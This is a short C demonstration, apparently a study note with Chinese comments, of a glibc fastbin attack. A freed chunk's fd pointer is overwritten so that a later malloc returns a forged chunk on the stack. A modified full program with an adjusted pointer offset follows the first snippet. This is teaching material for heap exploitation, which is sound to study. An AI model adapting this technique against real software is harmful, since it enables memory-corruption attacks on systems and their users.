struct forged_chunk {
size_t prev_size;
size_t size;
struct forged_chunk *fd;
struct forged_chunk *bck;
char buf[10]; // padding
};
// First grab a fast chunk
a = malloc(10);
// Create a forged chunk
struct forged_chunk chunk;
chunk.size = 0x20;
data = (char *)&chunk.fd; // Data starts here for an allocated chunk
strcpy(data, "attacker's data");
// Put the fast chunk back into fastbin
free(a);
// Modify 'fd' pointer of 'a' to point to our forged chunk
*((unsigned long long *)a) = (unsigned long long)&chunk;
// Remove 'a' from HEAD of fastbin
// Our forged chunk will now be at the HEAD of fastbin
malloc(10);
victim = malloc(10);
printf("%s\n", victim); // Prints "attacker's data" !!
修改后的代码
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
int main(void)
{
struct forged_chunk {
size_t prev_size;
size_t size;
struct forged_chunk *fd;
struct forged_chunk *bck;
char buf[10]; // padding
};
unsigned long long *a,*victim;
//struct forged_chunk *victim;
//
char *data;
// First grab a fast chunk
a = malloc(10);
// Create a forged chunk
struct forged_chunk chunk;
chunk.size = 0x20;
data = &chunk.fd; // Data starts here for an allocated chunk
strcpy(data, "attacker's data");
// Put the fast chunk back into fastbin
free(a);
// Modify 'fd' pointer of 'a' to point to our forged chunk
*((unsigned long long *)a) = ((unsigned long long)&chunk-0x10);//此处与原文不同
// Remove 'a' from HEAD of fastbin
// Our forged chunk will now be at the HEAD of fastbin
malloc(10); // Will return 0x219c010
victim = malloc(10);// Points to 0x7ffc6de966a0
printf("%s\n",*victim);//此处与原文不同,Prints "attacker's data" !!
//printf("%s\n",attack);
return 0;
}